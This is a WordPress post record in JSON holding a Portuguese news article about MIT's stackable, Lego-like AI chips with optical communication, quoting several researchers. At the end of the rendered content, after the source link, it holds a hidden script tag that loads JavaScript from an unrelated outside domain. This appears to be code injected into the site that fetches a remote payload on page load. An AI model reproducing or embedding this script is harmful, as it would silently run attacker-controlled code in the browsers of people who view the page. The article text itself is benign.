{"id":1954,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/mit-cria-chips-de-inteligencia-artificial-que-se-encaixam-como-lego\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"mit-cria-chips-de-inteligencia-artificial-que-se-encaixam-como-lego","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/mit-cria-chips-de-inteligencia-artificial-que-se-encaixam-como-lego\/","title":{"rendered":"MIT cria chips de intelig\u00eancia artificial que se encaixam como Lego"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>O MIT (Massachusetts <span>Institute<\/span> of <span>Technology<\/span>) desenvolveu um novo microchip que usa IA (Intelig\u00eancia Artificial) e comunica\u00e7\u00e3o \u00f3ptica e pode ser &#8220;emcaixado&#8221;, um sobre o outro, para expandir sua capacidade. O formato \u00e9 parecido com uma pe\u00e7a de Lego, o brinquedo infantil com pe\u00e7as que se encaixam.<\/p>\n<p>\u00c9 um grande avan\u00e7ao contra o lixo eletr\u00f4nico. Um celular que ficar &#8220;ultrapassado&#8221; porque h\u00e1 chips mais modernos no mercado n\u00e3o precisar\u00e1 ser jogado fora, por exemplo. Ele simplesmente receber\u00e1 um novo chip &#8220;encaixado&#8221; no original, ampliando seu processamento.<\/p>\n<p>A transmiss\u00e3o de informa\u00e7\u00f5es entre os chips \u00e9 feita por tecnologia \u00f3ptica, que utiliza a luz como condutora. Portanto, eles dispensam os fios f\u00edsicos existentes nos chips modulares, que demandam uma conex\u00e3o f\u00edsica para retransmisitir impulsos el\u00e9tricos. Isso tamb\u00e9m faz com que os novos chups sejam menores.<\/p>\n<p>&#8220;Substitu\u00edmos essa conex\u00e3o de fio f\u00edsico por um sistema de comunica\u00e7\u00e3o \u00f3ptica, o que nos d\u00e1 a liberdade de empilhar e adicionar chips da maneira que queremos&#8221;, explica <span>Hyunseok<\/span> Kim, p\u00f3s-doutorando do MIT.<\/p>\n<h2>Como eles poder\u00e3o ser usados?<\/h2>\n<p>A tecnologia poder\u00e1 ser aplicada em supercomputadores ou sistemas de computa\u00e7\u00e3o em nuvem (servi\u00e7os que utilizam mem\u00f3ria ou processamento que n\u00e3o est\u00e3o no pr\u00f3prio dispositivo).<\/p>\n<p>Na pesquisa, um processador de 4 mil\u00edmetros quadrados foi usado para ser empilhado em tr\u00eas blocos digitais. A intelig\u00eancia artificial tamb\u00e9m foi testada para reconhecer as imagens das letras M, I, e T, com uma camada de sensores que se utilizam da \u00f3ptica para a identifica\u00e7\u00e3o.<\/p>\n<p><cite>Voc\u00ea pode adicionar quantas camadas de computa\u00e7\u00e3o e sensores desejar, como luz, press\u00e3o e at\u00e9 cheiro. Chamamos isso de chip de IA reconfigur\u00e1vel do tipo Lego porque tem capacidade de expans\u00e3o ilimitada, dependendo da combina\u00e7\u00e3o de camadas.<\/cite> <strong><span>Jihoon<\/span><span> <\/span><span>Kang<\/span>, p\u00f3s-doutorando do MIT.<\/strong><\/p>\n<p>&#8220;Podemos adicionar camadas \u00e0 c\u00e2mera de um <a href=\"https:\/\/www.uol.com.br\/tilt\/smartphone\/\">celular<\/a> para que ele possa reconhecer imagens mais complexas, ou transform\u00e1-las em monitores de sa\u00fade que podem ser incorporados em uma pele artificial&#8221;, pontua <span>Chanyeol<\/span> Choi, um dos <span>co-autores<\/span> do estudo.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/06\/22\/chips-inteligencia-artificial-formato-lego.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O MIT (Massachusetts Institute of Technology) desenvolveu um novo microchip que usa IA (Intelig\u00eancia Artificial) e comunica\u00e7\u00e3o \u00f3ptica e pode ser &#8220;emcaixado&#8221;, um sobre o outro, para expandir sua capacidade. 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